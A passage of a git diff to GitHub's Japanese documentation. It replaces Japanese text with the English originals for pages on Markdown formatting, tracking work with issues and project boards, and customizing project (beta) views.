を入力して、リポジトリ内のサジェストされた Issue およびプルリクエストのリストを表示させることができます。 Issue あるいはプルリクエストの番号あるいはタイトルを入力してリストをフィルタリングし、Tab キーまたは Enter キーを押して、ハイライトされた結果の入力を完了してください。 +You can bring up a list of suggested issues and pull requests within the repository by typing `#`. Type the issue or pull request number or title to filter the list, and then press either tab or enter to complete the highlighted result. -詳しい情報については[自動リンクされた参照と URL](/articles/autolinked-references-and-urls) を参照してください。 +For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)." -## 外部リソースの参照 +## Referencing external resources {% data reusables.repositories.autolink-references %} -## コンテンツの添付 +## Content attachments -Some {% data variables.product.prodname_github_apps %} provide information in {% data variables.product.product_name %} for URLs that link to their registered domains. {% data variables.product.product_name %} は、アプリケーションが提供した情報を Issue あるいはプルリクエストのボディもしくはコメント中の URL の下に表示します。 +Some {% data variables.product.prodname_github_apps %} provide information in {% data variables.product.product_name %} for URLs that link to their registered domains. {% data variables.product.product_name %} renders the information provided by the app under the URL in the body or comment of an issue or pull request. -![コンテンツの添付](/assets/images/github-apps/content_reference_attachment.png) +![Content attachment](/assets/images/github-apps/content_reference_attachment.png) -コンテンツの添付を見るには、リポジトリにインストールされた Content Attachments API を使う {% data variables.product.prodname_github_app %} が必要です。{% ifversion fpt or ghec %}詳細は「[個人アカウントでアプリケーションをインストールする](/articles/installing-an-app-in-your-personal-account)」および「[Organization でアプリケーションをインストールする](/articles/installing-an-app-in-your-organization)」を参照してください。{% endif %} +To see content attachments, you must have a {% data variables.product.prodname_github_app %} that uses the Content Attachments API installed on the repository.{% ifversion fpt or ghec %} For more information, see "[Installing an app in your personal account](/articles/installing-an-app-in-your-personal-account)" and "[Installing an app in your organization](/articles/installing-an-app-in-your-organization)."{% endif %} -コンテンツの添付は、Markdown のリンクの一部になっている URL には表示されません。 +Content attachments will not be displayed for URLs that are part of a markdown link. -コンテンツの添付を利用する {% data variables.product.prodname_github_app %} の構築に関する詳しい情報については、「[コンテンツの添付を使用する](/apps/using-content-attachments)」を参照してください。 +For more information about building a {% data variables.product.prodname_github_app %} that uses content attachments, see "[Using Content Attachments](/apps/using-content-attachments)." -## アセットをアップロードする +## Uploading assets -ドラッグアンドドロップ、ファイルブラウザから選択、または貼り付けることにより、画像などのアセットをアップロードできます。 アセットをリポジトリ内の Issue、プルリクエスト、コメント、および `.md` ファイルにアップロードできます。 +You can upload assets like images by dragging and dropping, selecting from a file browser, or pasting. You can upload assets to issues, pull requests, comments, and `.md` files in your repository. -## 絵文字の利用 +## Using emoji -`:EMOJICODE:` を入力して、書き込みに絵文字を追加できます。 +You can add emoji to your writing by typing `:EMOJICODE:`. -`@octocat :+1: このPRは素晴らしいです - マージできますね！ :shipit:` +`@octocat :+1: This PR looks great - it's ready to merge! :shipit:` -![表示された絵文字](/assets/images/help/writing/emoji-rendered.png) +![Rendered emoji](/assets/images/help/writing/emoji-rendered.png) -`:` を入力すると、絵文字のサジェストリストが表示されます。 このリストは、入力を進めるにつれて絞り込まれていくので、探している絵文字が見つかったら、**Tab** または **Enter** を押すと、ハイライトされているものが入力されます。 +Typing `:` will bring up a list of suggested emoji. The list will filter as you type, so once you find the emoji you're looking for, press **Tab** or **Enter** to complete the highlighted result. -利用可能な絵文字とコードの完全なリストについては、[絵文字チートシート](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md)を参照してください。 +For a full list of available emoji and codes, check out [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md). -## パラグラフ +## Paragraphs -テキスト行の間に空白行を残すことで、新しいパラグラフを作成できます。 +You can create a new paragraph by leaving a blank line between lines of text. {% ifversion fpt or ghae-issue-5180 or ghes > 3.2 or ghec %} ## Footnotes @@ -302,15 +313,15 @@ You can tell {% data variables.product.product_name %} to hide content from the <!-- This content will not appear in the rendered Markdown --> -## Markdown のフォーマットの無視 +## Ignoring Markdown formatting -{% data variables.product.product_name %}に対し、Markdown のキャラクタの前に `\` を使うことで、Markdown のフォーマットを無視 (エスケープ) させることができます。 +You can tell {% data variables.product.product_name %} to ignore (or escape) Markdown formatting by using `\` before the Markdown character. -`\*新しいプロジェクト\* を \*古いプロジェクト\* にリネームしましょう` +`Let's rename \*our-new-project\* to \*our-old-project\*.` -![表示されたエスケープキャラクタ](/assets/images/help/writing/escaped-character-rendered.png) +![Rendered escaped character](/assets/images/help/writing/escaped-character-rendered.png) -詳しい情報については Daring Fireball の [Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash) を参照してください。 +For more information, see Daring Fireball's "[Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash)." {% ifversion fpt or ghes > 3.2 or ghae-issue-5232 or ghec %} @@ -320,9 +331,9 @@ You can tell {% data variables.product.product_name %} to hide content from the {% endif %} -## 参考リンク +## Further reading -- [{% data variables.product.prodname_dotcom %} Flavored Markdown の仕様](https://github.github.com/gfm/) -- [GitHub 上での書き込みと書式設定について](/articles/about-writing-and-formatting-on-github) -- [高度なフォーマットを使用して作業する](/articles/working-with-advanced-formatting) -- [Markdown をマスターする](https://guides.github.com/features/mastering-markdown/) +- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/) +- "[About writing and formatting on GitHub](/articles/about-writing-and-formatting-on-github)" +- "[Working with advanced formatting](/articles/working-with-advanced-formatting)" +- "[Mastering Markdown](https://guides.github.com/features/mastering-markdown/)" diff --git a/translations/ja-JP/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md b/translations/ja-JP/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md index d80dad6f8d..a25ffa5e3e 100644 --- a/translations/ja-JP/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md +++ b/translations/ja-JP/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md @@ -1,6 +1,6 @@ --- -title: Teamもしくはプロジェクトの作業の計画と追跡 -intro: '{% data variables.product.prodname_dotcom %}の計画及び追跡ツールを使って、Teamあるいはプロジェクトの作業を管理するために必要なこと。' +title: Planning and tracking work for your team or project +intro: 'The essentials for using {% data variables.product.prodname_dotcom %}''s planning and tracking tools to manage work on a team or project.' versions: fpt: '*' ghes: '*' @@ -11,112 +11,111 @@ topics: - Project management - Projects --- +## Introduction +You can use {% data variables.product.prodname_dotcom %} repositories, issues, project boards, and other tools to plan and track your work, whether working on an individual project or cross-functional team. -## はじめに -個別のプロジェクトで作業しているにしても、機能横断的なチームで作業しているにしても、{% data variables.product.prodname_dotcom %}のリポジトリ、Issue、プロジェクトボードやその他のツールを使って作業の計画と追跡ができます。 +In this guide, you will learn how to create and set up a repository for collaborating with a group of people, create issue templates{% ifversion fpt or ghec %} and forms{% endif %}, open issues and use task lists to break down work, and establish a project board for organizing and tracking issues. -このガイドでは、人々のグループとコラボレーションするためのリポジトリの作成とセットアップ、Issueテンプレート{% ifversion fpt or ghec %}及びフォーム{% endif %}の作成、Issueのオープンと作業をブレークダウンするためのタスクリストの利用、Issueを整理して追跡するためのプロジェクトボードの設置の方法を学びます。 +## Creating a repository +When starting a new project, initiative, or feature, the first step is to create a repository. Repositories contain all of your project's files and give you a place to collaborate with others and manage your work. For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)." -## リポジトリを作成する -新しいプロジェクト、イニシアティブ、機能を開始するとき、最初のステップはリポジトリの作成です。 リポジトリにはプロジェクトのすべてのファイルが含まれ、他者とコラボレーションしたり、作業を管理したりする場所を提供します。 詳しい情報については「[新しいリポジトリの作成](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)」を参照してください。 +You can set up repositories for different purposes based on your needs. The following are some common use cases: -必要に応じて、様々な目的のためにリポジトリをセットアップできます。 以下は、いくつかの一般的なユースケースです。 +- **Product repositories**: Larger organizations that track their work and goals around specific products may have one or more repositories containing the code and other files. These repositories can also be used for documentation, reporting on product health or future plans for the product. +- **Project repositories**: You can create a repository for an individual project you are working on, or for a project you are collaborating on with others. For an organization that tracks work for short-lived initiatives or projects, such as a consulting firm, there is a need to report on the health of a project and move people between different projects based on skills and needs. Code for the project is often contained in a single repository. +- **Team repositories**: For an organization that groups people into teams, and brings projects to them, such as a dev tools team, code may be scattered across many repositories for the different work they need to track. In this case it may be helpful to have a team-specific repository as one place to track all the work the team is involved in. +- **Personal repositories**: You can create a personal repository to track all your work in one place, plan future tasks, or even add notes or information you want to save. You can also add collaborators if you want to share this information with others. -- **製品リポジトリ**: 特定の製品に関する作業とゴールを追跡する大規模な組織は、そのコードや他のファイルを含む1つ以上のリポジトリを持つことがあります。 それらのリポジトリは、ドキュメンテーション、製品の改善性、あるいは製品の将来の計画のためにも使われることがあります。 -- **プロジェクトリポジトリ**: 作業をしている個々のプロジェクト、あるいは他者とコラボレーションしているプロジェクトのためにリポジトリを作成することができます。 短期間のイニシアティブやプロジェクトなどのための作業を追跡する、たとえばコンサルティングファームなどの組織では、プロジェクトの健全性に関するレポートや、人々をスキルや要求に応じて様々なプロジェクト間で移動させる必要があります。 こうしたプロジェクトのためのコードは、多くの場合1つのリポジトリに含まれます。 -- **チームリポジトリ**: 人々をチームにグループ化し、開発ツールチームのようなそれらのグループにプロジェクトを割り当てるような組織では、コードは追跡しなければならない様々な作業に対する多くのリポジトリに分散されるかもしれません。 この場合、そのチームが関わるすべての作業を追跡するための1つの場所として、チーム固有のリポジトリを持つとよいかもしれません。 -- **個人リポジトリ**: 個人リポジトリを作成して、自分のすべての作業を1カ所で追跡し、将来のタスクを計画し、さらには保存しておきたいノートや情報を追加しておくことさえできます。 この情報を他者と共有したい場合は、コラボレータを追加することもできます。 +You can create multiple, separate repositories if you want different access permissions for the source code and for tracking issues and discussions. For more information, see "[Creating an issues-only repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-an-issues-only-repository)." -ソースコードに様々なアクセス権限を設定し、Issueやディスカッションを追跡したい場合には、複数の個別のリポジトリを作成することもできます。 詳しい情報については「[Issueのみのリポジトリの作成](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-an-issues-only-repository)」を参照してください。 +For the following examples in this guide, we will be using an example repository called Project Octocat. +## Communicating repository information +You can create a README.md file for your repository to introduce your team or project and communicate important information about it. A README is often the first item a visitor to your repository will see, so you can also provide information on how users or contributors can get started with the project and how to contact the team. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-readmes)." -このガイドの以下の例では、Projet Octocatというサンプルリポジトリを使います。 -## リポジトリ情報のコミュニケーション -リポジトリにREADME.mdファイルを追加して、Teamやプロジェクトを紹介し、それらに関する重要な情報を伝えることができます。 リポジトリにアクセスした人が最初に見るのはREADMEのことが多いので、ユーザやコントリビュータがプロジェクトとどのように関わり始めたらいいのか、そしてチームとどのように連絡を取ればいいのかに関する情報を提供することもできます。 詳細は「[README について](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-readmes)」を参照してください。 +You can also create a CONTRIBUTING.md file specifically to contain guidelines on how users or contributors can contribute and interact with the team or project, such as how to open a bug fix issue or request an improvement. For more information, see "[Setting guidelines for repository contributors](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)." +### README example +We can create a README.md to introduce our new project, Project Octocat. -特に、バグ修正のIssueのオープンや改善のリクエストの方法といった、ユーザやコントリビュータがチームやプロジェクトに貢献して関わるやりかたのガイドラインを含む、CONTRIBUTING.mdファイルを作成することもできます。 詳しい情報については、「[リポジトリコントリビューターのためのガイドラインを定める](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)」を参照してください。 -### README の例 -新しいプロジェクトであるProject Octocatを紹介するREADME.mdを作成できます。 +![Creating README example](/assets/images/help/issues/quickstart-creating-readme.png) +## Creating issue templates -![READMEの例の作成](/assets/images/help/issues/quickstart-creating-readme.png) -## Issue テンプレートを作成する +You can use issues to track the different types of work that your cross-functional team or project covers, as well as gather information from those outside of your project. The following are a few common use cases for issues. -Issueを使って、機能横断的なチームやプロジェクトがカバーする様々な種類の作業を追跡したり、プロジェクト外のチームやプロジェクトから情報を集めることができます。 以下は、いくつかの一般的なIssueのユースケースです。 +- Release tracking: You can use an issue to track the progress for a release or the steps to complete the day of a launch. +- Large initiatives: You can use an issue to track progress on a large initiative or project, which is then linked to the smaller issues. +- Feature requests: Your team or users can create issues to request an improvement to your product or project. +- Bugs: Your team or users can create issues to report a bug. -- リリース追跡: Issueを使って、リリースやローンチ日を完了させるステップの進捗を追跡できます。 -- 大規模なイニシアティブ: Issueを使って、大規模なイニシアティブやプロジェクトの進捗を追跡できます。それらは、より小さなIssueにリンクされます。 -- 機能リクエスト: チームやユーザは、Issueを作成して製品やプロジェクトに改善をリクエストできます。 -- バグ: チームやユーザは、Issueを作成してバグを報告できます。 +Depending on the type of repository and project you are working on, you may prioritize certain types of issues over others. Once you have identified the most common issue types for your team, you can create issue templates {% ifversion fpt or ghec %}and forms{% endif %} for your repository. Issue templates {% ifversion fpt or ghec %}and forms{% endif %} allow you to create a standardized list of templates that a contributor can choose from when they open an issue in your repository. For more information, see "[Configuring issue templates for your repository](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository)." -作業をしているリポジトリやプロジェクトの種類によっては、特定の種類のIssueを他よりも優先することになるかもしれません。 チームで最も一般的なIssueの種類を特定できたら、リポジトリにIssueテンプレート{% ifversion fpt or ghec %}やフォーム{% endif %}を作成できます。 Issueテンプレート{% ifversion fpt or ghec %}とフォーム{% endif %}を使うと、リポジトリでIssueをオープンするときにコントリビューターが選択できる標準化されたテンプレートのリストを作成できます。 詳しい情報については、「[リポジトリ用に Issue テンプレートを設定する](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository)」を参照してください。 +### Issue template example +Below we are creating an issue template for reporting a bug in Project Octocat. -### Issueテンプレートの例 -以下、Project OctocatでバグレポートのためのIssueテンプレートを作成しています。 +![Creating issue template example](/assets/images/help/issues/quickstart-creating-issue-template.png) -![Issueテンプレートの例の作成](/assets/images/help/issues/quickstart-creating-issue-template.png) +Now that we created the bug report issue template, you are able to select it when creating a new issue in Project Octocat. -バグレポートのIssueテンプレートを作成したので、新しいIssueをProject Octocatで作成する際に選択できるようになりました。 +![Choosing issue template example](/assets/images/help/issues/quickstart-issue-creation-menu-with-template.png) -![Issueテンプレートの例の選択](/assets/images/help/issues/quickstart-issue-creation-menu-with-template.png) +## Opening issues and using task lists to track work +You can organize and track your work by creating issues. For more information, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)." +### Issue example +Here is an example of an issue created for a large initiative, front-end work, in Project Octocat. -## Issueのオープンとタスクリストを使用した作業の追跡 -Issueを作成することで、作業を整理し、追跡できます。 詳しい情報については、「[Issue を作成する](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)」を参照してください。 -### Issueの例 -以下は、Project Octocatの大規模なイニシアティブであるフロントエンドの作業のために作成されたIssueの例です。 +![Creating large initiative issue example](/assets/images/help/issues/quickstart-create-large-initiative-issue.png) +### Task list example -![大規模なイニシアティブのissueの例の作成](/assets/images/help/issues/quickstart-create-large-initiative-issue.png) -### タスクリストの例 +You can use task lists to break larger issues down into smaller tasks and to track issues as part of a larger goal. {% ifversion fpt or ghec %} Task lists have additional functionality when added to the body of an issue. You can see the number of tasks completed out of the total at the top of the issue, and if someone closes an issue linked in the task list, the checkbox will automatically be marked as complete.{% endif %} For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)." -タスクリストを使って、大きなIssueを小さなタスクに分割し、大きなゴールの一部としてIssueを追跡できます。 {% ifversion fpt or ghec %}Issueの本体に追加されたタスクリストには、追加の機能があります。 Issueの上部では全体の中で完了したタスク数を見ることができ、誰かがタスクリストにリンクされたIssueをクローズすると、そのチェックボックスは自動的に完了としてマークされます。{% endif %}詳しい情報については「[タスクリストについて](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)」を参照してください。 +Below we have added a task list to our Project Octocat issue, breaking it down into smaller issues. -以下では、Project OctocatのIssueにタスクリストを追加し、小さなIssueに分割しました。 +![Adding task list to issue example](/assets/images/help/issues/quickstart-add-task-list-to-issue.png) -![Issueの例へのタスクリストの追加](/assets/images/help/issues/quickstart-add-task-list-to-issue.png) +## Making decisions as a team +You can use issues and discussions to communicate and make decisions as a team on planned improvements or priorities for your project. Issues are useful when you create them for discussion of specific details, such as bug or performance reports, planning for the next quarter, or design for a new initiative. Discussions are useful for open-ended brainstorming or feedback, outside the codebase and across repositories. For more information, see "[Which discussion tool should I use?](/github/getting-started-with-github/quickstart/communicating-on-github#which-discussion-tool-should-i-use)." -## チームとしての意思決定 -Issueやディスカッションを使い、プロジェクトの計画された改善や優先順位についてコミュニケーションを取り、チームとして意思決定することができます。 Issueは、バグやパフォーマンスレポート、次の四半期の計画、新しいイニシアティブのデザインといった、特定の詳細に関するディスカッションのために作成すると役立ちます。 ディスカッションは、コードベース外でリポジトリをまたぐオープンエンドのブレインストーミングやフィードバックのために役立ちます。 詳しい情報については「[どのディスカッションツールを使うべきでしょうか？](/github/getting-started-with-github/quickstart/communicating-on-github#which-discussion-tool-should-i-use)」を参照してください。 +As a team, you can also communicate updates on day-to-day tasks within issues so that everyone knows the status of work. For example, you can create an issue for a large feature that multiple people are working on, and each team member can add updates with their status or open questions in that issue. +### Issue example with project collaborators +Here is an example of project collaborators giving a status update on their work on the Project Octocat issue. -チームとして、Issue内の日々のタスクの更新についてコミュニケーションを取り、全員に作業の状況を知らせることができます。 たとえば、複数の人が作業をしている大きな機能についてのIssueを作成し、各チームメンバーがそのIssue内で状況を更新したり質問を投げたりできるようにすることができます。 -### プロジェクトのコラボレータとのIssueの例 -以下は、Project OctocatのIssueで作業状況を更新するプロジェクトのコラボレータの例です。 +![Collaborating on issue example](/assets/images/help/issues/quickstart-collaborating-on-issue.png) +## Using labels to highlight project goals and status +You can create labels for a repository to categorize issues, pull requests, and discussions. {% data variables.product.prodname_dotcom %} also provides default labels for every new repository that you can edit or delete. Labels are useful for keeping track of project goals, bugs, types of work, and the status of an issue. -![Issueの例でのコラボレーション](/assets/images/help/issues/quickstart-collaborating-on-issue.png) -## プロジェクトのゴールとステータスをハイライトするためのラベルの利用 -Issue、Pull Request、ディスカッションを分類するために、リポジトリにラベルを作成できます。 {% data variables.product.prodname_dotcom %}は、すべての新しいリポジトリにデフォルトのラベルを提供します。それらは編集したり削除したりできます。 ラベルは、プロジェクトのゴール、バグ、作業の種類、Issueのステータスを追跡するための役に立ちます。 +For more information, see "[Creating a label](/issues/using-labels-and-milestones-to-track-work/managing-labels#creating-a-label)." -詳細は「[ラベルの作成](/issues/using-labels-and-milestones-to-track-work/managing-labels#creating-a-label)」を参照してください。 +Once you have created a label in a repository, you can apply it on any issue, pull request or discussion in the repository. You can then filter issues and pull requests by label to find all associated work. For example, find all the front end bugs in your project by filtering for issues with the `front-end` and `bug` labels. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)." +### Label example +Below is an example of a `front-end` label that we created and added to the issue. -リポジトリにラベルを作成すると、それはリポジトリ内の任意のIssue、Pull Request、ディスカッションに適用できます。 そして、すべての関連する作業を見つけるためにラベルでIssueやPull Requestをフィルタリングできます。 たとえば、Issueを`front-end`及び`bug`というラベルでフィルタリングし、すべてのフロントエンドのバグを見つけることができます。 For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)." -### ラベルの例 -以下は、作成した`front-end`の例で、Issueに追加されています。 - -![Issueの例へのラベルの追加](/assets/images/help/issues/quickstart-add-label-to-issue.png) -## プロジェクトボードへのIssueの追加 -{% ifversion fpt or ghec %}プロジェクトは、現在限定ベータとして{% data variables.product.prodname_dotcom %}上でチームの作業の計画と追跡に利用できます。 プロジェクトはカスタマイズ可能なスプレッドシートで、{% data variables.product.prodname_dotcom %}上のIssueやPull Requestと統合されており、自動的に{% data variables.product.prodname_dotcom %}上の情報を最新の状態に保ちます。 IssueやPull Requestのフィルタリング、ソート、グループ化によってレイアウトをカスタマイズできます。 プロジェクトを使い始めるには、「[プロジェクト（ベータ）のクイックスタート](/issues/trying-out-the-new-projects-experience/quickstart)」を参照してください。 -### プロジェクト（ベータ）の例 +![Adding a label to an issue example](/assets/images/help/issues/quickstart-add-label-to-issue.png) +## Adding issues to a project board +{% ifversion fpt or ghec %}You can use projects on {% data variables.product.prodname_dotcom %}, currently in limited public beta, to plan and track the work for your team. A project is a customizable spreadsheet that integrates with your issues and pull requests on {% data variables.product.prodname_dotcom %}, automatically staying up-to-date with the information on {% data variables.product.prodname_dotcom %}. You can customize the layout by filtering, sorting, and grouping your issues and PRs. To get started with projects, see "[Quickstart for projects (beta)](/issues/trying-out-the-new-projects-experience/quickstart)." +### Project (beta) example Here is the table layout of an example project, populated with the Project Octocat issues we have created. ![Projects (beta) table layout example](/assets/images/help/issues/quickstart-projects-table-view.png) -同じプロジェクトをボードとして見ることもできます。 +We can also view the same project as a board. ![Projects (beta) board layout example](/assets/images/help/issues/quickstart-projects-board-view.png) {% endif %} -チームの作業を計画し、追跡するために{% data variables.product.prodname_dotcom %}上で{% ifversion fpt or ghec %}既存のプロジェクトボードを使うことも{% else %}プロジェクトボードを使うことが{% endif %}できます。 プロジェクトボードは、Issue、Pull Request、選択した列内でカードとして分類されるノートから構成されます。 機能の作業、高レベルのロードマップ、さらにはリリースチェックリストのためにプロジェクトボードを作成できます。 詳細は「[プロジェクトボードについて](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)」を参照してください。 -### プロジェクトボードの例 -以下は、サンプルのProject Octocatのプロジェクトボードで、作成したIssueと、そのIssueをブレークダウンした小さなIssueが追加されています。 +You can {% ifversion fpt or ghec %} also use the existing{% else %} use{% endif %} project boards on {% data variables.product.prodname_dotcom %} to plan and track your or your team's work. Project boards are made up of issues, pull requests, and notes that are categorized as cards in columns of your choosing. You can create project boards for feature work, high-level roadmaps, or even release checklists. For more information, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." +### Project board example +Below is a project board for our example Project Octocat with the issue we created, and the smaller issues we broke it down into, added to it. -![プロジェクトボードの例](/assets/images/help/issues/quickstart-project-board.png) -## 次のステップ +![Project board example](/assets/images/help/issues/quickstart-project-board.png) +## Next steps -これで、作業の計画と追跡のために{% data variables.product.prodname_dotcom %}が提供するツールについて学び、機能横断的なチームやプロジェクトのリポジトリのセットアップを始めることができました！ 以下は、さらにリポジトリをカスタマイズし、作業を整理するのに役立つリソースです。 +You have now learned about the tools {% data variables.product.prodname_dotcom %} offers for planning and tracking your work, and made a start in setting up your cross-functional team or project repository! Here are some helpful resources for further customizing your repository and organizing your work. -- リポジトリの作成についてさらに学ぶための「[リポジトリについて](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)」 -- Issueの作成と管理のための様々な方法を学ぶための「[Issueでの作業の追跡](/issues/tracking-your-work-with-issues)」 -- Issueテンプレートについてさらに学ぶための「[IssueとPull Requestテンプレートについて](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)」 -- ラベルの作成、編集、削除の方法を学ぶための「[ラベルの管理](/issues/using-labels-and-milestones-to-track-work/managing-labels)」 -- タスクリストについてさらに学ぶための「[タスクリストについて](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)」 -{% ifversion fpt or ghec %} - 現在限定パブリックベータの新しいプロジェクト体験についてさらに学ぶための「[プロジェクト（ベータ）について](/issues/trying-out-the-new-projects-experience/about-projects)」 -- 現在限定パブリックベータであるプロジェクトのビューのカスタマイズについて学ぶための「[プロジェクト（ベータ）ビューのカスタマイズ](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)」{% endif %} -- プロジェクトボードの管理方法を学ぶための「[プロジェクトボードについて](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)」 +- "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)" for learning more about creating repositories +- "[Tracking your work with issues](/issues/tracking-your-work-with-issues)" for learning more about different ways to create and manage issues +- "[About issues and pull request templates](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)" for learning more about issue templates +- "[Managing labels](/issues/using-labels-and-milestones-to-track-work/managing-labels)" for learning how to create, edit and delete labels +- "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)" for learning more about task lists +{% ifversion fpt or ghec %} - "[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)" for learning more about the new projects experience, currently in limited public beta +- "[Customizing your project (beta) views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)" for learning how to customize views for projects, currently in limited public beta{% endif %} +- "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)" for learning how to manage project boards diff --git a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md index bf3af15a11..4b879741b9 100644 --- a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md +++ b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md @@ -1,6 +1,6 @@ --- -title: プロジェクト（ベータ）のビューのカスタマイズ -intro: プロジェクトのレイアウト、グループ化、ソート、フィルタを変更して、必要な情報を表示させてください。 +title: Customizing your project (beta) views +intro: 'Display the information you need by changing the layout, grouping, sorting, and filters in your project.' allowTitleToDifferFromFilename: true versions: fpt: '*' @@ -17,74 +17,74 @@ topics: Use the project command palette to quickly change settings and run commands in your project. 1. {% data reusables.projects.open-command-palette %} -2. コマンドの一部を入力し始めるか、コマンドパレットウィンドウをナビゲートしてコマンドを見つけてください。 さらなるコマンドの例については、次のセクションを参照してください。 +2. Start typing any part of a command or navigate through the command palette window to find a command. See the next sections for more examples of commands. -## レイアウトの変更 +## Changing the project layout -プロジェクトを、テーブルまたはボードとして見ることができます。 +You can view your project as a table or as a board. 1. {% data reusables.projects.open-command-palette %} -2. "Switch layout"と入力し始めてください。 -3. 希望するコマンド（例:"Switch layout: Table"）を選択してください。 -3. あるいは、ビュー名の隣にあるドロップダウンメニューを選択し、**Table（テーブル）**もしくは**Board（ボード）**をクリックしてください。 +2. Start typing "Switch layout". +3. Choose the required command. For example, **Switch layout: Table**. +3. Alternatively, click the drop-down menu next to a view name and click **Table** or **Board**. -## フィールドの表示もしくは非表示 +## Showing and hiding fields You can show or hide a specific field. In table layout: 1. {% data reusables.projects.open-command-palette %} -2. 行いたいアクション（"show"もしくは"hide"）もしくはフィールド名を入力し始めてください。 -3. 希望するコマンド（例:"Show: Milestone"）を選択してください。 -4. あるいは、表の右の{% octicon "plus" aria-label="the plus icon" %}をクリックしてください。 表示されるドロップダウンメニューで、表示または非表示にするフィールドを指定してください。 {% octicon "check" aria-label="check icon" %}は、表示されるフィールドを示します。 -5. あるいは、フィールド名の隣のドロップダウンメニューを選択し、**Hide field（フィールドを非表示にする）**をクリックしてください。 +2. Start typing the action you want to take ("show" or "hide") or the name of the field. +3. Choose the required command. For example, **Show: Milestone**. +4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} to the right of the table. In the drop-down menu that appears, indicate which fields to show or hide. A {% octicon "check" aria-label="check icon" %} indicates which fields are displayed. +5. Alternatively, click the drop-down menu next to the field name and click **Hide field**. In board layout: -1. ビュー名の隣のドロップダウンメニューを選択してください。 +1. Click the drop-down menu next to the view name. 2. Under **configuration**, click {% octicon "list-unordered" aria-label="the unordered list icon" %}. -3. In the menu that appears, select fields to add them and deselect fields to remove them from the view. +3. In the menu that's displayed, select fields to add them and deselect fields to remove them from the view. -## フィールドの並び替え +## Reordering fields -フィールドの順序を変えることができます。 +You can change the order of fields. -1. フィールドのヘッダをクリックしてください。 -2. クリックしながら、フィールドを希望する位置へドラッグしてください。 +1. Click the field header. +2. While clicking, drag the field to the required location. -## 行の並び替え +## Reordering rows -テーブルレイアウトでは、行の順序を変更できます。 +In table layout, you can change the order of rows. -1. 行の先頭にある数字をクリックしてください。 -2. クリックしながら、行を希望する位置へドラッグしてください。 +1. Click the number at the start of the row. +2. While clicking, drag the row to the required location. -## ソート +## Sorting by field values -テーブルレイアウトでは、フィールドの値でアイテムをソートできます。 +In table layout, you can sort items by a field value. 1. {% data reusables.projects.open-command-palette %} -2. "Sort by"あるいはソートの基準にしたいフィールド名を入力し始めてください。 -3. 希望するコマンド（例:"Sort by: Assignees, asc"）を選択してください。 -4. あるいは、ソートの基準にしたいフィールド名の隣のドロップダウンメニューを選択し、**Sort ascending（昇順にソート）**あるいは**Sort descending（降順にソート）**をクリックしてください。 +2. Start typing "Sort by" or the name of the field you want to sort by. +3. Choose the required command. For example, **Sort by: Assignees, asc**. +4. Alternatively, click the drop-down menu next to the field name that you want to sort by and click **Sort ascending** or **Sort descending**. {% note %} -**ノート:** テーブルがソートされると、手動で行を並び替えることはできなくなります。 +**Note:** When a table is sorted, you cannot manually reorder rows. {% endnote %} -ソートを解除するには、同じようなステップに従ってください。 +Follow similar steps to remove a sort. 1. {% data reusables.projects.open-command-palette %} -2. "Remove sort-by"と入力し始めてください。 -3. "Remove sort-by"コマンドを選択してください。 -4. あるいは、ビュー名の隣のドロップダウンメニューを選択し、現在のソートを示すメニューアイテムをクリックしてください。 +2. Start typing "Remove sort-by". +3. Choose **Remove sort-by**. +4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current sort. -## 